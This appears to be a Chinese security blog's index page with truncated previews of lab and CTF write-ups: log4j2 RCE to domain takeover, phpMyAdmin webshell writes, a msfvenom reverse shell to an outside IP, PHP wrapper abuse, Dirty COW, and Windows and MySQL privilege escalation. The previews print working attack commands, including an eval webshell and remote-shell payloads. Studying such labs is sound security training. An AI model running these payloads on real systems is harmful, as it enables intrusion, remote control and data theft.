初识JWT攻击
什么是JWTJSON Web Token(JWT) 是一种标准化格式,用于在系统之间发送加密签名的 JSON 数据。与经典会话令牌不同,服务器所需的所有数据都存储在 JWT 本身的客户端中。
JWT 格式JWT 由 3 部分组成:头部、有效负载和签名。它们均由点分隔,如以下示例所示:
https://jwt.io/
1231.头部(Header)包含了关于该 JWT 的元数据,如令牌的类型("typ")和签名算法("alg")等。2.有效负载(Payload)是 JWT 的主要内容,包含了用于验证和识别用户身份的声明信息,如用户ID、过期时间、权限等。3.签名(Signature)是使用私钥对头部和载荷进行签名,以确保令牌的完整性和真实性。在服务器端验证 JWT 时,使用相应的公钥进行解密和验签,以确保令牌的合法性。
JWT攻击1234567JWT(JSON Web Token)本身并不越权,但是如果在使用和验证 JWT 的过程中存在安全漏洞或错误的实现,可能导致越权问题。以下是一些可能导致JWT越权问题的常见情况:1、未校验签名算法: JW ...
CORS漏洞浅析
CORS介绍Cors全称”跨域资源共享”(Cross-origin resource sharing),CORS的出现是用来弥补SOP(同源策略)的不足。在当时SOP有些限制了网页的业务需求,不能够使不同域的网页互相访问,因此提出了CORS:用于绕过SOP(同源策略)来实现跨域资源访问的一种技术。(CORS使用自定义的HTTP头部让浏览器与服务器进行沟通,它允许浏览器向跨域服务器发出XMLHttpRequest请求,从而克服AJAX只能同源使用的限制。)
Cors漏洞就是攻击者利用Cors技术来获取用户的敏感数据,从而导致用户敏感信息泄露。
同源策略SOP,同源策略 (Same Origin Policy),浏览器的同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。那么什么是同源呢,即两个站点之间需要满足同协议,同域名,同端口这三个条件。
CORS跨域漏洞CORS请求可分为两类,简单请求和非简单请求。
简单请求1、请求方式为GET,POST,HEAD这三种之一
2、HTTP头不超出以下这几个字段
12345AcceptAccept-LanguageConte ...
Redteam2靶场(从外网 log4j2 RCE 再到内网拿下域控 )
0X01、环境搭建
主机
IP地址
kali
192.168.1.105
VPS
ubuntu
192.168.1.103(外网地址) / 10.0.1.6(内网地址)
web服务器
windows 7
10.0.1.7 / 10.0.0.7(内网地址)
域内机器
windows 2012
10.0.0.12(内网地址)
域控制器DC
1、使用nmap对靶机进行全端口扫描
1nmap -sV -A -T4 -p- 192.168.1.103
2、发现靶机开放了38080和22端口,38080是web服务
0X03、漏洞利用一、log4j2漏洞利用
由于我这里burpsuite发包收不到shell,所以我利用curl命令代替burp发包进行漏洞利用
1、在kali中开启ldap服务
1java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.1.105
2、利用下面的paylod进行反弹shell
1curl 192.168.1.103:38080/hello -X POST -d ...
利用phpmyadmin进行getshell
1、前提需要知道网站的绝对路径,我是在本地用phpstudy搭建的所以网站根目录为D:\phpStudy\WWW,真实情况下我们可以利用网站报错或者一些中间件来获取网站根目录。
2、日志写入(1)查看日志是否开启
1show variables like '%general%';
一般情况下这个日志记录是默认关闭的,需要我们手动开启。
(2)开启日志记录
1SET GLOBAL general_log='on';
(3)验证是否开启成功
3、修改日志
(1)指定日志文件位置
1set global general_log_file='D:/phpStudy/WWW/1.php';
(2)写入
1<?php eval($_POST[cmd]);?>
(3)使用蚁剑连接
3、慢日志查询如果登录了phpMyadmin没有办法直接写入文件,可以使用慢查询日志来进行文件写入。
1简单的说就是在mysql中,查询超过10秒的语句会被写到慢查询日志文件中去,一般默认是不开启的。利用这个特性就可以进行文件写入 ...
内网死角
vulfocus—内网死角网络拓扑
一、外网初探CVE-2021-31291、访问外网地址,打开就是Laravel服务(Laravel v8.41.0 (PHP v7.4.19))
2、漏洞CVE-2021-3129 远程代码执行,Github上有exp下载直接利用即可
1https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
1python laravel-CVE-2021-3129-EXP.py http://123.58.224.8:33067
3、exp运行成功之后使用哥斯拉连接,需要3.0以下版本
4、哥斯拉连接成功之后我们可以再上传一个冰蝎马或者哥斯拉马(因为这里我感觉新版的更好用一点),利用新版的冰蝎或者哥斯拉连接即可。
这里我上传了冰蝎4.0的马
5、上线msf
生成木马
1msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=120.78.239.191 LPORT=7777 -f elf > linux.elf
在服务器上利用pyt ...
php伪协议利用
php伪协议123456789101112file://————访问本地文件系统http://————访问 HTTP(s)网址ftp://————访问FTP(s)URLsphp://————访问各个输入/输出流(I/O streams )zlib://————压缩流data://————数据(RFC 2397)glob://————查找匹配的文件路径模式phar://————PHP归档ssh2://————Secure Shell 2rar://————RARogg://————音频流expect://————处理交互式的流
这里我以文件包含漏洞为例来演示php伪协议的利用方法
123<?phpinclude($_GET['file']);?>
file://该协议用来访问服务端的本地文件,但是文件的协议固定结构后面的路径得是绝对路径(用相对路径则就不需要带上协议了)
使用条件:
1allow_url_fopen=On/Off(均可) allow_url_include=On/Off(均可)
使用效果:
1http://192 ...
脏牛提权(CVE-2016-5195)
脏牛提权(CVE-2016-5195)一、实验环境12攻击机(kali): 192.168.189.143靶机(ubuntu): 192.168.189.155
12靶机来自vulnhub下载链接:https://www.vulnhub.com/entry/lampiao-1,249/
二、信息收集1、将靶机导入虚拟机后,利用nmap扫描存活主机
1nmap 192.168.189.0/24
2、扫描结果发现192.168.189.155开放了80端口,访问该端口
3、再次利用nmap对该IP进行全端口扫描
1nmap 192.168.189.155 -p1-65535
4、发现该IP开放了1898端口,访问该端口我们发现该站点是由Drupal搭建的
三、漏洞利用1、利用msf进行Drupal的漏洞利用
1search drupal
2、选择对应的模块进行利用
12345use exploit/unix/webapp/drupal_drupalgeddon2show optionsset rhosts 192.168.189.155set rport 1898ru ...
Windows本地提权方式总结
Windows本地提权1234windows用户全权限划分: Users:普通用户组,Users 组是最安全的组,因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料 Administrators:管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。分配给该组的默认权限允许对整个系统进行完全控制 System:拥有和Administrators一样、甚至比其还高的权限,但是这个组不允许任何用户的加入,在查看用户组的时候,它也不会被显示出来,它就是SYSTEM组。系统和系统级的服务正常运行所需要的权限都是靠它赋予的。
1、at实现管理员权限提升为system权限at 是一个发布定时任务计划的命令行工具,通过 at 命令发布的定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、可以是一个二进制文件。
1at 15:33 /interactive cmd
2、新建桌面进程使用taskmgr命令打开任务管理器,杀死现用户桌面进程(explorer.exe),新建explorer.exe,则整个 ...
MySQL数据库提权方式总结
实验环境
12靶机: windows 2003 192.168.189.143 php版本: php5.5.47攻击机: kali 192.168.189.148
一、前提在进行提权之前需要先拿到高权限的 MySQL 用户,secure_file_priv值为空(保证我们可以有写入权限)
当目标 MySQL 不允许外连时,我们可以上传php脚本,使用 Navicat 自带的 tunnel 隧道脚本上传到目标网站上
脚本链接
1、上传隧道脚本
2、访问脚本,地址填localhost就可以了
3、在使用Navicat时选择使用HTTP隧道,连接地址写loaclhost
4、现在我们就可以连接了
修改user表host字段为%,表示允许任意地址登录MySQL,开启外链接成功
1GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
二、UDF提权12Mysql版本大于5. ...
PHP绕过disable_function限制
PHP绕过disable_function限制什么是disable_function1disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。(eval并非PHP函数,放在disable_functions中是无法禁用的,若要禁用需要用到PHP的扩展Suhosin。
一、常规绕过尝试利用没有禁用的函数绕过(捡漏)
1exec,shell_exec,system,passthru,popen,proc_open
1、exec
1<?php echo exec('whoami');?>
2、shell_exec
1<?php echo shell_exec('whoami');?>
3、system
1<?php system('whoami');?>
4、passthru
1<?php passthru("whoami");?>
5、 ...